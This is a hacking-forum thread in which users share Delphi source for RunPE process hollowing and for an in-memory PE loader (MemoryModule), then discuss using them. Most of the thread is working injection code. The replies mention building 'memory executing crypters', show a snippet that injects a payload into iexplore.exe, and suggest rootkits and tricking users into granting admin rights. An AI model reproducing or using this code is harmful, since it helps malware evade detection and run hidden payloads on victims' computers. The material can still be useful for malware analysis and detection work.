

Forum:[Hack Forums](#)

Thread: [Basic Memory Execution Source!\(RunPe\)\[Delphi\]](#)

30xic - August 14, 2012, 7:20 pm

Code UNIT

unit uRunPE;

interface

uses Windows;

type

TByteArray = array of Byte;

function RunEXE(sVictim:string; bFile:TByteArray):Boolean;

function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: Pointer): DWORD;
stdcall; external 'ntdll.dll';

implementation

procedure Move(Destination, Source: Pointer; dLength: Cardinal);

begin

CopyMemory(Destination, Source, dLength);

end;

function RunEXE(sVictim:string; bFile:TByteArray):Boolean;

var

IDH: TImageDosHeader;

INH: TImageNtHeaders;

ISH: TImageSectionHeader;

PI: TProcessInformation;

SI: TStartupInfo;

CONT: TContext;

ImageBase: Pointer;

Ret: DWORD;

i: integer;

Addr: DWORD;

dOffset: DWORD;

begin

Result := FALSE;

try

Move(@IDH, @bFile[0], 64);

if IDH.e_magic = IMAGE_DOS_SIGNATURE then

begin

Move(@INH, @bFile[IDH._lfanew], 248);

if INH.Signature = IMAGE_NT_SIGNATURE then

begin

FillChar(SI, SizeOf(TStartupInfo), #0);

FillChar(PI, SizeOf(TProcessInformation), #0);

```

    SI.cb := SizeOf(TStartupInfo);
    if CreateProcess(nil, PChar(sVictim), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI)
then
    begin
        CONT.ContextFlags := CONTEXT_FULL;
        if GetThreadContext(PI.hThread, CONT) then
            begin
                ReadProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @Addr, 4, Ret);
                NtUnmapViewOfSection(PI.hProcess, @Addr);
                ImageBase := VirtualAllocEx(PI.hProcess, Ptr(INH.OptionalHeader.ImageBase),
                INH.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
                WriteProcessMemory(PI.hProcess, ImageBase, @bFile[0],
                INH.OptionalHeader.SizeOfHeaders, Ret);
                dOffset := IDH._Ifanew + 248;
                for i := 0 to INH.FileHeader.NumberOfSections - 1 do
                    begin
                        Move(@ISH, @bFile[dOffset + (i * 40)], 40);
                        WriteProcessMemory(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress),
                        @bFile[ISH.PointerToRawData], ISH.SizeOfRawData, Ret);
                        VirtualProtectEx(PI.hProcess, Ptr(Cardinal(ImageBase) + ISH.VirtualAddress),
                        ISH.Misc.VirtualSize, PAGE_EXECUTE_READWRITE, @Addr);
                    end;
                WriteProcessMemory(PI.hProcess, Ptr(CONT.Ebx + 8), @ImageBase, 4, Ret);
                CONT.Eax := Cardinal(ImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, CONT);
                ResumeThread(PI.hThread);
                Result := TRUE;
            end;
        end;
    end;
except
    CloseHandle(PI.hProcess);
    CloseHandle(PI.hThread);
end;

end.
Usage:
Code program RunPE;

uses
    Windows,
    uRunPE in 'uRunPE.pas';

var
    bBuff: TByteArray;

{$R *.res}

function FileToBytes(sPath:string; var bFile:TByteArray):Boolean;
var
    hFile: THandle;

```

```

dSize: DWORD;
dRead: DWORD;
begin
  Result := FALSE;
  hFile := CreateFile(PChar(sPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING,
0, 0);
  if hFile <> INVALID_HANDLE_VALUE then
    begin
      dSize := GetFileSize(hFile, nil);
      SetLength(bFile, dSize);
      ReadFile(hFile, bFile[0], dSize, dRead, nil);
      CloseHandle(hFile);

      if dRead = dSize then
        Result := TRUE;
    end;
  end;

begin
  if FileToBytes('calc.exe', bBuff) then
    RunExe(ParamStr(0), bBuff);
end.
Credits to:steve10120
i just found it usefull and decided to post it :)
enjoy!

```

?Logic_Bomb - August 15, 2012, 9:37 am

Been using this lib for a while (Was posted on the Lazarus forums a while back), it's absolutely great, haven't had a problem with it when creating memory executing crypters etc. If you need to execute a ByteArray of an application or TLazResource in memory, then I'd recommend this. Good job on posting this, I should have posted this months ago. =) Rep+.

Regards,

Logic_Bomb

3oxic - August 15, 2012, 10:12 am

(Aug 15, 2012 09:37 AM)Logic_Bomb Wrote: [\[CITE\]](#) Been using this lib for a while (Was posted on the Lazarus forums a while back), it's absolutely great, haven't had a problem with it when creating memory executing crypters etc. If you need to execute a ByteArray of an application or TLazResource in memory, then I'd recommend this. Good job on posting this, I should have posted this months ago. =) Rep+.

Regards,

Logic_Bomb

Thanks For your response!:)

I really appreciate it!

waste49 - August 22, 2012, 2:34 am

i use it too for a long time , only one problem with injection ,

i couldn't stop it !! till the pc crashes ,

so i i've done that before injection :

Code if Istrcmp(pchar(paramstr(0)), pchar('C:\Program Files\Internet explorer\iexplore.exe')) <> 0
then begin

```
FileToBytes('Project1.exe', bBuff);  
RunExe('C:\Program Files\Internet Explorer\iexplore.exe', bBuff);
```

Grrr...Trolls - September 28, 2013, 1:26 pm

So, as it turns out this code and other RunPE's do not even work anymore (even on win7 or winxp)

This code is now useless O_o

3oxic - September 29, 2013, 1:01 am

This was posted a long time ago so...

?Logic_Bomb - September 29, 2013, 7:28 am

(Sep 28, 2013 01:26 PM)kthx Wrote: [\[CITE\]](#) So, as it turns out this code and other RunPE's do not even work anymore (even on win7 or winxp)

This code is now useless O_o

Still working for me. Tested on Windows XP, 7 & 8. I'm using a slightly different implementation of the same RunPE method, and it works fairly flawlessly.

Regards,

Logic_

Grrr...Trolls - September 29, 2013, 9:08 am

I have old D7 sources which had working injection, and I have not touched them for years, and now the injection no longer works on my WinXP or Win7 machine. Further more I tried the other RunPE's with similair issues (exiting or crashing without loading).

Has anyone else found this injection code to be working?

I talked with others, they say that it has been blocked. My guess is MS forced DEP on by default, and apparently has other ways of preventing the RunPE. You cannot write into other process memory. It seems the only way to go is a Ring-0 rootkit and tricking the user into running as admin or somehow exploiting.

I copied the exact code, all I did was make it a project so I could compile it in D7. Here is what happens on execute:

Screen Shot: 

3oxic - September 29, 2013, 2:32 pm

Isnt working in general or just this source?

Grrr...Trolls - September 30, 2013, 7:31 am

Any of the RunPE's I try do not work on my PC's. Not even on WinXP

sunshine_wy - October 7, 2013, 11:39 am

```

Code {$DEFINE USESTDCALL}
{.$DEFINE USEDDBGOUT }
unit MemoryModule;

interface

uses
  Windows{$IFDEF USEDDBGOUT}, SysUtils{$ENDIF};

type

  HMemModule = NativeUInt;

function MemLoadLibrary(const buf: Pointer): HMemModule;
{$IFDEF USESTDCALL}stdcall;
{$ENDIF}
function MemGetProcAddress(Module: HMemModule;
  const lpProcName: LPCSTR): FARPROC;
{$IFDEF USESTDCALL}stdcall; {$ENDIF}
function MemFreeLibrary(Module: HMemModule): BOOL; {$IFDEF USESTDCALL}stdcall;
{$ENDIF}

implementation

type
  TFNDllMain = function(hinstDLL: HMODULE; Reason: Integer; Reserved: Pointer)
    : BOOL; stdcall;
  LPMemModule = ^TMemModule;

  TMemModule = record
    headers: PImageNtHeaders;
    codeBase: PAnsiChar;
    entrypoint: TFNDllMain;
    modules: array of HMODULE;
    runtimeFunc: PImageRuntimeFunctionEntry;
    initialized: boolean;
    magic: Integer;
  end;

  //

type

{$IFDEF VER150 or VER140 or VER 130}
{$DEFINE Delphi7Old}
{$ENDIF}
{$IFDEF Delphi7Old}
  ULONGLONG = UINT64;
{$ENDIF}
  TNativeAddr = {$IFDEF WIN64}DWORD{$ELSE}ULONGLONG{$ENDIF};
  //for old veriosn delphi

  _IMAGE_THUNK_DATA32 = record

```

```

    case Byte of
0:
(ForwarderString: DWORD); // PBYTE
1:
(_Function: DWORD); // PDWORD Function -> _Function
2:
(Ordinal: DWORD);
3:
(AddressOfData: DWORD); // PIMAGE_IMPORT_BY_NAME
end;

```

```

IMAGE_THUNK_DATA32 = _IMAGE_THUNK_DATA32;
TImageThunkData32 = _IMAGE_THUNK_DATA32;
PIMAGE_THUNK_DATA32 = ^_IMAGE_THUNK_DATA32;
PImageThunkData32 = ^_IMAGE_THUNK_DATA32;

```

```

_IMAGE_THUNK_DATA64 = record
    case Byte of
0:
(ForwarderString: ULONGLONG); // PBYTE
1:
(_Function: ULONGLONG); // PDWORD Function -> _Function
2:
(Ordinal: ULONGLONG);
3:
(AddressOfData: ULONGLONG); // PIMAGE_IMPORT_BY_NAME
end;

```

```

IMAGE_THUNK_DATA64 = _IMAGE_THUNK_DATA64;
TImageThunkData64 = _IMAGE_THUNK_DATA64;
PIMAGE_THUNK_DATA64 = ^_IMAGE_THUNK_DATA64;
PImageThunkData64 = ^_IMAGE_THUNK_DATA64;

```

```

_IMAGE_TLS_DIRECTORY32 = record
    StartAddressOfRawData: DWORD;
    EndAddressOfRawData: DWORD;
    AddressOfIndex: DWORD; // PDWORD
    AddressOfCallBacks: DWORD; // PIMAGE_TLS_CALLBACK *;
    SizeOfZeroFill: DWORD;
    Characteristics: DWORD;
end;

```

```

IMAGE_TLS_DIRECTORY32 = _IMAGE_TLS_DIRECTORY32;
TImageTLSDirectory32 = _IMAGE_TLS_DIRECTORY32;
PIMAGE_TLS_DIRECTORY32 = ^_IMAGE_TLS_DIRECTORY32;
PImageTLSDirectory32 = ^_IMAGE_TLS_DIRECTORY32;

```

```

_IMAGE_TLS_DIRECTORY64 = record
    StartAddressOfRawData: ULONGLONG;
    EndAddressOfRawData: ULONGLONG;
    AddressOfIndex: ULONGLONG; // PDWORD
    AddressOfCallBacks: ULONGLONG; // PIMAGE_TLS_CALLBACK *;
    SizeOfZeroFill: DWORD;

```

```
    Characteristics: DWORD;  
end;
```

```
IMAGE_TLS_DIRECTORY64 = _IMAGE_TLS_DIRECTORY64;  
TImageTLSDirectory64 = _IMAGE_TLS_DIRECTORY64;  
PIMAGE_TLS_DIRECTORY64 = ^_IMAGE_TLS_DIRECTORY64;  
PImageTLSDirectory64 = ^_IMAGE_TLS_DIRECTORY64;
```

```
_IMAGE_IMPORT_DESCRIPTOR = record  
    case Byte of  
    0:  
        (Characteristics: DWORD); // 0 for terminating null import descriptor  
    1:  
        (OriginalFirstThunk: DWORD;  
         // RVA to original unbound IAT (PIMAGE_THUNK_DATA)  
         TimeDateStamp: DWORD; // 0 if not bound,  
         // -1 if bound, and real date\time stamp  
         // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)  
         // O.W. date/time stamp of DLL bound to (Old BIND)  
  
         ForwarderChain: DWORD; // -1 if no forwarders  
         Name: DWORD;  
         FirstThunk: DWORD);  
         // RVA to IAT (if bound this IAT has actual addresses)  
    end;
```

```
IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;  
TImageImportDescriptor = _IMAGE_IMPORT_DESCRIPTOR;  
PIMAGE_IMPORT_DESCRIPTOR = ^_IMAGE_IMPORT_DESCRIPTOR;  
PImageImportDescriptor = ^_IMAGE_IMPORT_DESCRIPTOR;
```

```
_IMAGE_IMPORT_BY_NAME = record  
    Hint: Word;  
    Name: array [0 .. 0] of Byte;  
end;
```

```
IMAGE_IMPORT_BY_NAME = _IMAGE_IMPORT_BY_NAME;  
TImageImportByName = _IMAGE_IMPORT_BY_NAME;  
PIMAGE_IMPORT_BY_NAME = ^_IMAGE_IMPORT_BY_NAME;  
PImageImportByName = ^_IMAGE_IMPORT_BY_NAME;
```

//winnt structures

```
_IMAGE_BASE_RELOCATION = packed record  
    VirtualAddress: DWORD;  
    SizeOfBlock: DWORD;  
end;
```

```
IMAGE_BASE_RELOCATION = _IMAGE_BASE_RELOCATION;  
PIMAGE_BASE_RELOCATION = ^_IMAGE_BASE_RELOCATION;
```

```
{$IFDEF WIN64}  
    PIMAGE_NT_HEADERS = ^_IMAGE_NT_HEADERS64;
```

```

IMAGE_THUNK_DATA = IMAGE_THUNK_DATA64;
PIMAGE_THUNK_DATA = ^IMAGE_THUNK_DATA64;

PIMAGE_TLS_DIRECTORY = PIMAGE_TLS_DIRECTORY64;
{$ELSE}
PIMAGE_NT_HEADERS = ^_IMAGE_NT_HEADERS;
IMAGE_THUNK_DATA = IMAGE_THUNK_DATA32;
PIMAGE_THUNK_DATA = ^IMAGE_THUNK_DATA32;

PIMAGE_TLS_DIRECTORY = PIMAGE_TLS_DIRECTORY32;
{$ENDIF}
PIMAGE_EXPORT_DIRECTORY = ^IMAGE_EXPORT_DIRECTORY;

_IMAGE_EXPORT_DIRECTORY = record
  Characteristics: DWORD;
  TimeDateStamp: DWORD;
  MajorVersion: Word;
  MinorVersion: Word;
  Name: DWORD;
  Base: DWORD;
  NumberOfFunctions: DWORD;
  NumberOfNames: DWORD;
  AddressOfFunctions: DWORD;
  AddressOfNames: DWORD;
  AddressOfNameOrdinals: DWORD;
end;

IMAGE_EXPORT_DIRECTORY = _IMAGE_EXPORT_DIRECTORY;

const
  IMAGE_REL_BASED_ABSOLUTE = 0;
  IMAGE_REL_BASED_HIGH = 1;
  IMAGE_REL_BASED_LOW = 2;
  IMAGE_REL_BASED_HIGHLOW = 3;
  IMAGE_REL_BASED_HIGHADJ = 4;
  IMAGE_REL_BASED_MIPS_JMPADDR = 5;
  IMAGE_REL_BASED_SECTION = 6;
  IMAGE_REL_BASED_REL32 = 7;
  IMAGE_REL_BASED_MIPS_JMPADDR16 = 9;
  IMAGE_REL_BASED_IA64_IMM64 = 9;
  IMAGE_REL_BASED_DIR64 = 10;
  IMAGE_REL_BASED_HIGH3ADJ = 11;
  IMAGE_ORDINAL_FLAG64 = UINT64($800);
  IMAGE_ORDINAL_FLAG32 = LongWord($800);
  IMAGE_ORDINAL_FLAG =
{$IFDEF WIN64}IMAGE_ORDINAL_FLAG64{$ELSE}IMAGE_ORDINAL_FLAG32{$ENDIF};
  MARCHINECODE =
{$IFDEF
WIN64}IMAGE_FILE_MACHINE_AMD64{$ELSE}IMAGE_FILE_MACHINE_I386{$ENDIF};

  MEMMODULEMAGICNUM = $19770605;

procedure dbgout(const str: string); overload;

```

```

begin
{$IFDEF USEDDBGOUT}
    OutputDebugString(PChar(str));
{$ENDIF}
end;

```

```

procedure dbgout(const Format: string; const Args: array of const); overload;
begin
{$IFDEF USEDDBGOUT}
    dbgout(SysUtils.Format(Format, Args));
{$ENDIF}
end;

```

//copy sections

```

procedure DoCopySections(const data: PAnsiChar; old_headers: PImageNtHeaders;
    var Module: TMemModule);
var
    i: Integer;
    dest: Pointer;
    section: PImageSectionHeader;
    SectionAlignment: Integer;
    Addr: Pointer;
    Size: NativeInt;
begin
    SectionAlignment := old_headers^.OptionalHeader.SectionAlignment;
    // section := IMAGE_FIRST_SECTION(Module.headers);
    section := PImageSectionHeader(PAnsiChar(@Module.headers^.OptionalHeader) +
        Module.headers^.FileHeader.SizeOfOptionalHeader);
    for i := 0 to Module.headers.FileHeader.NumberOfSections - 1 do
        begin
            Addr := Module.codeBase + section^.VirtualAddress;
            if (section^.SizeOfRawData = 0) then
                begin
                    // section
                    Size := SectionAlignment;
                    if (Size > 0) then
                        begin
                            dest := VirtualAlloc(Addr, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                            section^.Misc.PhysicalAddress := TNativeAddr(dest);
                            ZeroMemory(dest, Size);
                        end;
                    end
                else
                    begin
                        Size := section^.SizeOfRawData;
                        dest := VirtualAlloc(Addr, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                        CopyMemory(dest, @data[section^.PointerToRawData], Size);
                        section^.Misc.PhysicalAddress := DWORD(dest);
                    end;
                end;
            Inc(section);
        end;
    end;
end;

```

end;

//fill imports

function DoFillImports(var Module: TMemModule): boolean;

type

TFarProc = procedure();

LPFarProc = ^TFarProc;

var

dir: PImageDataDirectory;

importDesc: PIMAGE_IMPORT_DESCRIPTOR;

thunk: PIMAGE_THUNK_DATA;

hm: HMODULE;

mCount: Integer;

func: LPFarProc;

pByName: PIMAGE_IMPORT_BY_NAME;

begin

result := false;

dir := PImageDataDirectory(@Module.headers.OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT]);

if (dir.VirtualAddress = 0) or (dir.Size = 0) then

Exit;

importDesc := PIMAGE_IMPORT_DESCRIPTOR(@Module.codeBase[dir.VirtualAddress]);

mCount := 0;

while importDesc^.Characteristics <> 0 do

begin

hm := LoadLibraryA(PAnsiChar(@Module.codeBase[importDesc^.Name]));

dbgout(PAnsiChar(@Module.codeBase[importDesc^.Name]));

if hm = 0 then

Exit;

if mCount >= Length(Module.modules) then

SetLength(Module.modules, Length(Module.modules) + 16);

Module.modules[mCount] := hm;

Inc(mCount);

if importDesc^.OriginalFirstThunk <> 0 then

begin

thunk := PIMAGE_THUNK_DATA

(@Module.codeBase[importDesc^.OriginalFirstThunk]);

end

else

begin

thunk := PIMAGE_THUNK_DATA(@Module.codeBase[importDesc^.FirstThunk]);

end;

func := LPFarProc(@Module.codeBase[importDesc^.FirstThunk]);

while thunk^._Function <> 0 do

begin

if (thunk^.Ordinal and IMAGE_ORDINAL_FLAG <> 0) then

begin

func^ := Windows.GetProcAddress(hm,

PAnsiChar(thunk^.Ordinal and \$0000FFFF));

end

else

```

begin
pByName := PIMAGE_IMPORT_BY_NAME
  (@Module.codeBase[thunk^.AddressOfData]);
func^ := Windows.GetProcAddress(hm, PAnsiChar(@pByName^.Name));
end;
if not Assigned(func^) then
Exit;
Inc(thunk);
Inc(func);
  end;
  //
  Inc(importDesc);
end;
SetLength(Module.modules, mCount);
result := True;
end;

// fix relocation

procedure DoRelocation(var Module: TMemModule; ImageBaseDelta: NativeInt);
var
  dir: PImageDataDirectory;
  relocation: PIMAGE_BASE_RELOCATION;
  BlockAddr: Pointer;
  i: Integer;
  pw: PWORD;
  relType: Word;
  offset: Word;
begin
  dir := PImageDataDirectory(@Module.headers.OptionalHeader.DataDirectory
    [IMAGE_DIRECTORY_ENTRY_BASERELOC]);
  if (dir.VirtualAddress = 0) or (dir.Size = 0) then
  begin
    dbgout('No RelocationData found. ');
    Exit;
  end;
  relocation := PIMAGE_BASE_RELOCATION(@Module.codeBase[dir^.VirtualAddress]);
  while (relocation^.VirtualAddress <> 0) and (relocation^.SizeOfBlock > 0) do
  begin
    BlockAddr := @Module.codeBase[relocation^.VirtualAddress];
    pw := PWORD(NativeUInt(relocation) + SizeOf(IMAGE_BASE_RELOCATION));
    dbgout('pw=%x', [DWORD(pw)]);
    for i := 0 to (relocation.SizeOfBlock - SizeOf(IMAGE_BASE_RELOCATION))
      div SizeOf(Word) - 1 do
      begin
        // dbgout('*relInfo = %x',[DWORD(pw^)]);
        offset := pw^ and $0FFF;
        relType := (pw^ and $F000) shr 12;

        case relType of
          IMAGE_REL_BASED_ABSOLUTE:
            ;

```

```

IMAGE_REL_BASED_HIGHLOW:
begin
  Inc(PDWORD(DWORD(BlockAddr) + offset)^, ImageBaseDelta);
end;
{$IFDEF WIN64}
IMAGE_REL_BASED_DIR64:
begin
  Inc(PUINT64(UINT64(BlockAddr) + offset)^, ImageBaseDelta);
  dbgout('IMAGE_REL_BASED_DIR64(=%x).',
    [PUINT64(UINT64(BlockAddr) + offset)^]);
end;
{$ENDIF}
else
begin
  dbgout('Unknown relocation(=%d).', [relType]);
end;
end;
Inc(pw);
end;
relocation := PIMAGE_BASE_RELOCATION(PAnsiChar(relocation) +
relocation^.SizeOfBlock);
end;
end;

```

//set page protect

```

procedure DoSetPageProtect(var Module: TMemModule);
var
  section: PImageSectionHeader;
  i: Integer;
  protectvalue, oldProtect: DWORD;
  imageOffset: NativeUInt;
  pgsize: NativeInt;
begin
  imageOffset :=
{$IFDEF WIN64} Module.headers.OptionalHeader.ImageBase and $FF00;
{$ELSE}0{$ENDIF};
  section := PImageSectionHeader(NativeUInt(@Module.headers^.OptionalHeader) +
  Module.headers^.FileHeader.SizeOfOptionalHeader);
  //
  for i := 0 to Module.headers.FileHeader.NumberOfSections - 1 do
  begin
    protectvalue := 0;
    if (section^.Characteristics and IMAGE_SCN_MEM_EXECUTE) =
IMAGE_SCN_MEM_EXECUTE
    then
      protectvalue := protectvalue or PAGE_EXECUTE;
    if (section^.Characteristics and IMAGE_SCN_MEM_READ) = IMAGE_SCN_MEM_READ
    then
      protectvalue := protectvalue or PAGE_READONLY;
    if (section^.Characteristics and IMAGE_SCN_MEM_WRITE) = IMAGE_SCN_MEM_WRITE
    then

```

```

    protectvalue := protectvalue or PAGE_WRITECOPY;
    if (section^.Characteristics and IMAGE_SCN_MEM_NOT_CACHED) =
IMAGE_SCN_MEM_NOT_CACHED
    then
    protectvalue := protectvalue or PAGE_NOCACHE;
    // protectvalue := protectvalue and PAGE_EXECUTE_READWRITE;
    //
    if (section^.Characteristics and IMAGE_SCN_MEM_DISCARDABLE) =
IMAGE_SCN_MEM_DISCARDABLE
    then
    begin
    VirtualFree(Pointer(section^.Misc.PhysicalAddress or imageOffset),
    section^.SizeOfRawData, MEM_DECOMMIT);
    continue;
    end;
    pgsize := section^.SizeOfRawData;
    if pgsize = 0 then
    begin
    if (section^.Characteristics and IMAGE_SCN_CNT_INITIALIZED_DATA) =
IMAGE_SCN_CNT_INITIALIZED_DATA
    then
    begin
    pgsize := Module.headers.OptionalHeader.SizeOfInitializedData;
    end
    else if (section^.Characteristics and IMAGE_SCN_CNT_UNINITIALIZED_DATA) =
IMAGE_SCN_CNT_UNINITIALIZED_DATA
    then
    begin
    pgsize := Module.headers.OptionalHeader.SizeOfUninitializedData;
    end
    end;

    if pgsize > 0 then
    begin
    VirtualProtect(Pointer(section^.Misc.PhysicalAddress or imageOffset),
    pgsize, protectvalue, oldProtect);
    end;
    //
    Inc(section);
    end;
end;

```

// initialize exceptions

{\$IFDEF WIN64}

procedure DoInitializeSEH(var Module: TMemModule);

var

dir: PImageDataDirectory;

pTmp: PImageRuntimeFunctionEntry;

EnrtyNums: DWORD;

RtlAddFunctionTable: function(FunctionTable: PImageRuntimeFunctionEntry;

```

    EntryCount: DWORD; BaseAddress: DWORD64): boolean; stdcall;
begin
    @RtlAddFunctionTable := GetProcAddress(GetModuleHandle(kernel32),
    'RtlAddFunctionTable');
    if not Assigned(RtlAddFunctionTable) then
        Exit;
    dir := PImageDataDirectory(@Module.headers.OptionalHeader.DataDirectory
    [IMAGE_DIRECTORY_ENTRY_EXCEPTION]);
    if (dir.VirtualAddress = 0) or (dir.Size = 0) then
        begin
            dbgout('No SEH found. ');
            Exit;
        end;
    Module.runtimeFunc := PImageRuntimeFunctionEntry
    (@Module.codeBase[dir.VirtualAddress]);
    pTmp := Module.runtimeFunc;

    EnrtyNums := dir.Size div SizeOf(IMAGE_RUNTIME_FUNCTION_ENTRY);
    if not RtlAddFunctionTable(Module.runtimeFunc, EnrtyNums,
    DWORD64(Module.codeBase)) then
        dbgout('Could not add function table. ');
end;
{$ENDIF}

```

```

// 'LoadLibrary'
function MemLoadLibrary(const buf: Pointer): HMemModule;
var
    pDos: PImageDosHeader;
    pOld: PImageNtHeaders;
    _buf: PAnsiChar;
    // headers: PAnsiChar;
    ret: LPMemModule;
    ImageBaseDelta: NativeInt;
begin
    result := 0;
    new(ret);
    ZeroMemory(ret, SizeOf(TMemModule));
    ret^.magic := MEMMODULEMAGICNUM;
    _buf := buf;
    pDos := PImageDosHeader(_buf);
    if pDos^.e_magic <> IMAGE_DOS_SIGNATURE then
        begin
            Dispose(ret);
            dbgout('Not a valid executable file, No DOS header found. ');
            Exit;
        end;
    pOld := PImageNtHeaders(@_buf[pDos^._lfanew]);

    if pOld^.Signature <> IMAGE_NT_SIGNATURE then
        begin
            Dispose(ret);
            dbgout('Not a valid executable file, No PE header found. ');
            Exit;
        end;
    end;

```

```

end;

if pOld^.FileHeader.Machine <> MARCHINECODE then
begin
  Dispose(ret);
  dbgout('Not a right mathine. ');
  Exit;
end;
ret^.codeBase :=
  PAnsiChar(VirtualAlloc(Pointer(pOld^.OptionalHeader.ImageBase),
    pOld^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE,
    PAGE_EXECUTE_READWRITE));
if ret^.codeBase = nil then
  ret^.codeBase :=
    PAnsiChar(VirtualAlloc(nil, pOld^.OptionalHeader.SizeOfImage, MEM_RESERVE,
    PAGE_EXECUTE_READWRITE));
if ret^.codeBase = nil then
begin
  Dispose(ret);
  dbgout('Can"t alloc memory. ');
  Exit;
end;
//
VirtualAlloc(ret^.codeBase, pOld^.OptionalHeader.SizeOfImage, MEM_COMMIT,
  PAGE_EXECUTE_READWRITE);
VirtualAlloc(ret^.codeBase, pOld^.OptionalHeader.SizeOfHeaders, MEM_COMMIT,
  PAGE_EXECUTE_READWRITE);
ret^.headers := PImageNtHeaders(@ret^.codeBase[pDos^._lfanew]);
CopyMemory(ret^.codeBase, pDos, pOld^.OptionalHeader.SizeOfHeaders);
//
ret^.headers := PImageNtHeaders(@ret^.codeBase[pDos^._lfanew]);
ret^.headers.OptionalHeader.ImageBase := TNativeAddr(ret^.codeBase);
// Section
DoCopySections(_buf, pOld, ret^);
ImageBaseDelta := (NativeInt(ret^.codeBase) - pOld^.OptionalHeader.ImageBase);
if (ImageBaseDelta <> 0) then
  DoRelocation(ret^, ImageBaseDelta);
{$IFDEF WIN64}
  DoInitializeSEH(ret^);
{$ENDIF}
if not DoFillImports(ret^) then
begin
  MemFreeLibrary(HMemModule(@ret));
  Exit;
end;

DoSetPageProtect(ret^);
if ret^.headers.OptionalHeader.AddressOfEntryPoint <> 0 then
begin
  ret^.entrypoint :=
    TFNDllMain(@ret^.codeBase
    [ret^.headers.OptionalHeader.AddressOfEntryPoint]);
  if (Assigned(ret^.entrypoint)) then //

```

```

begin
try
if (not ret^.entrypoint(HMODULE(ret^.codeBase), DLL_PROCESS_ATTACH, 0))
// if false

then
begin
MemFreeLibrary(HMemModule(@ret));
Exit;
end;
except

end;
end
else
begin
MemFreeLibrary(HMemModule(@ret));
Exit;
end;
ret^.initialized := True;
end;
result := HMODULE(ret);
end;
Code // 'GetProcAddress'
function MemGetProcAddress(Module: HMemModule;
const lpProcName: LPCSTR): FARPROC;
type
TDWORDArray = array [0 .. 0] of DWORD;
PDWORDArray = ^TDWORDArray;
function StrlComp(const Str1, Str2: PAnsiChar): Integer;
var
P1, P2: PAnsiChar;
C1, C2: AnsiChar;
begin
P1 := Str1;
P2 := Str2;
while True do
begin
if P1^ in ['a' .. 'z'] then
C1 := AnsiChar(Byte(P1^) xor $20)
else
C1 := P1^;

if P2^ in ['a' .. 'z'] then
C2 := AnsiChar(Byte(P2^) xor $20)
else
C2 := P2^;

if (C1 <> C2) or (C1 = #0) then
begin
result := (Ord(C1) - Ord(C2));
Exit;
end;

```

```

Inc(P1);
Inc(P2);
end;
end;

var
i, idx: Integer;
dir: PImageDataDirectory;
pm: LPMemModule;
Ordinal: PWORD;
nameRef: PDWORD;
exps: PIMAGE_EXPORT_DIRECTORY;
func: DWORD;
begin
result := nil;
idx := -1;
pm := LPMemModule(Module);
if (pm = nil) or (pm^.magic <> MEMMODULEMAGICNUM) then
Exit;
// Exit(FindMyResFunc(pm^.codeBase, lpProcName));
dir := PImageDataDirectory(@pm^.headers.OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_EXPORT]);

if (dir^.VirtualAddress = 0) or (dir^.Size = 0) then
Exit;

exps := PIMAGE_EXPORT_DIRECTORY(@pm^.codeBase[dir.VirtualAddress]);

if (exps^.NumberOfFunctions = 0) then
Exit;
if ((NativeUInt(lpProcName)) <= $FFFF) then
begin
idx := NativeUInt(lpProcName) - exps^.Base;
end
else
begin
if (exps^.NumberOfNames = 0) then
Exit;
nameRef := PDWORD(pm^.codeBase + exps^.AddressOfNames);
Ordinal := PWORD(pm^.codeBase + exps^.AddressOfNameOrdinals);
for i := 0 to exps^.NumberOfNames - 1 do
begin
if StrIComp(lpProcName, LPCSTR(@pm^.codeBase[nameRef^])) = 0 then
begin
idx := Ordinal^;
Break;
end;
end;
//
Inc(nameRef);
Inc(Ordinal);
end;
end;
if (idx < 0) or (idx > exps^.NumberOfFunctions) then

```

```

Exit;
func := PDWORDArray(@pm^.codeBase[exps^.AddressOfFunctions])[idx];
result := @pm^.codeBase[func];
end;

// 'FreeLibrary'
function MemFreeLibrary(Module: HMemModule): BOOL;
var
  pm: LPMemModule;
  i: Integer;
  RtlDeleteFunctionTable: function(FunctionTable: PImageRuntimeFunctionEntry)
    : boolean; stdcall;
begin
  result := false;
  pm := LPMemModule(Module);
  if (pm = nil) or (pm^.magic <> MEMMODULEMAGICNUM) then
    Exit;
  if pm^.initialized and Assigned(pm^.entrypoint) then
    pm.entrypoint(NativeUInt(pm^.codeBase), DLL_PROCESS_DETACH, 0);
  if pm^.runtimeFunc <> nil then
    begin
      @RtlDeleteFunctionTable := GetProcAddress(GetModuleHandle(kernel32),
        'RtlDeleteFunctionTable');
      if Assigned(RtlDeleteFunctionTable) then
        RtlDeleteFunctionTable(pm^.runtimeFunc);
        pm^.runtimeFunc := nil;
    end;
  for i := Low(pm^.modules) to High(pm^.modules) do
    if (pm^.modules[i] <> 0) and (pm^.modules[i] <> INVALID_HANDLE_VALUE) then
      FreeLibrary(pm^.modules[i]);
  pm^.modules := nil;
  if pm^.codeBase <> nil then
    VirtualFree(pm^.codeBase, 0, MEM_RELEASE);
  Dispose(pm);
end;

end.

```

invocker49 - November 14, 2016, 10:49 pm

thank's my friend but not work for me in win7 have you explain with video please as proof

fzSoft - November 16, 2016, 2:10 pm

Thaaaaaaaaaaaaannnnnnnnnnnnnnnnnnnk You

temporaly01 - October 28, 2018, 12:02 pm

Doesn't work on Windows 10, when I trying to run my code I get error 0xc0000005 from an application that was injected.

tcsh - October 28, 2018, 12:38 pm

(Oct 28, 2018 12:02 PM)temporaly01 Wrote: [\[CITE\]](#) Doesn't work on Windows 10, when I trying to run my code I get error 0xc0000005 from an application that was injected.

Why would you assume a code written/posted here in 2012 would work on a product (windows 10) that's been launched after 2012? And a product massively different from previous windows versions

at that..

It's 2018.

Smh...use some simple logic